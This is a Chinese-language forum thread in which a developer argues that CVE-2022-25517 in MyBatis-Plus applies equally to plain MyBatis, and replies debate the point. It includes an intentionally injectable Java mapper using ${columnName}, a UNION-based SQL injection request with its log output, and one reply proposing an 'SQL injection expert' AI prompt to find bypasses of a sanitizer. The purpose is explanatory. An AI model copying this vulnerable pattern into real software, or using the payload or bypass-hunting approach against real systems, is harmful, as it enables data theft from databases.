最近公司引入了 SYNK 用作软件漏斗扫描工具,它给 mybatis plus 报 CVE-2022-25517 ,如果解决不了我就得把好大段代码用 JPA 或者 mybatis dynamic sql 重构。但我研究了下,我真心觉得这个如果是个有效的 CVE issue ,那 mybatis 也跑不了。

以下是正文。各位看了后觉得呢?

# Background
Here is the POC and root cause why CVE-2022-25517 was generated: [POC]( https://web.archive.org/web/20220323002637/https://github.com/HaHarden/mybatis-plus-sql-Injection)

But without mybatis-plus, only using mybatis, we can reproduce the same issue. Please check this demo:
https://github.com/XSun771/demos/tree/mybatis-sql-injection

**By this demo, I want to prove that CVE-2022-25517 should not be an CVE issue. At least if it is, then it is also applicable to Mybatis. Instead, it should be a bad code smell.**

# My POC

## code
```java
@Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);
```

I know you may say , "oh, it is highlighted by Mybatis developers that you should not use `${}` but `#{}` which will check sql injection".

But I must highlight that it is also highlighted in mybatis-plus official documents that eferyone needs to do SQL inject check first.

So if you agree that because mybatis developers highlights that you should not use ${} then there is no need to raise CVE issue for mybatis, then why not agree that no need to raise CVE issue to mybatis-plus?

```java
@RequestMapping("/enquiry")
public String enquiry(@RequestBody Enquiry enquiry) {
    return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
}
```

## attack

I made usage of IDEA http client, the script file is at `src/main/resources/generated-requests.http`.

```
POST http://localhost:9000/enquiry
Content-Type: application/json

{
"columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
"columnValue": "1"
}
```

Attachk result:

```
2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]
```
举报· 119 次点击
登录 注册 站外分享
14 条回复  
L0L 小成 2024-9-17 09:35:47
建议是说尽量不要让接口传入$的参数值变量;如果不得不传入,一定要做好参数校验。这种很容易引发 sql 注入类的问题,
leaflxh 小成 2024-9-17 10:15:53
不知道是不是我代码写得少,通过让用户指明列名,来决定查询表的哪一个列,挺奇怪的功能
leohuangsulei 小成 2024-9-17 11:10:20
一般不都是使用#{}吗?
wssy001 初学 2024-9-17 11:24:52
@leohuangsulei #5 我之前做的 OA 项目,有些无代码需求,就有形如
SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}
这样的 SQL
不过前端传过来的数据都做了过滤
qq135449773 小成 2024-9-17 17:24:33
https://github.com/FCncdn/MybatisPlusTenantPluginSQLInjection-POC/blob/master/%E5%90%8E%E8%AE%B0.md

nyxsonsleep 初学 2024-9-17 20:39:11
@wssy001 #6 前端过滤不就等于不设防吗?
shuimugan 小成 2024-9-17 21:03:39
强类型语言的 ORM + 实体类,还能出现列名逃逸,真的挺好笑的。
你看它那个号称能防御 sql 注入的 SqlInjectionUtils https://github.com/baomidou/mybatis-plus/blob/3.0/mybatis-plus-core/src/main/java/com/baomidou/mybatisplus/core/toolkit/sql/SqlInjectionUtils.java ,碍于网络安全法我就不写绕过细节了,拿去问 AI“你是 sql 注入专家,审计这个 java 代码分析出可以逃逸的情况(比如哪些数据库存在它没提到的关键字)
```java
balabala 代码
```


惊喜连连
ZeroDu 初学 2024-9-17 23:40:06
严重怀疑这是有人(同行?)恶意提交的 CVE 。这不明摆着让人换框架吗
Bingchunmoli 小成 2024-9-18 00:12:19
@ZeroDu 就是同行,开源中国现在猛猛推新 mybatis 框架。换汤不换药
12下一页
返回顶部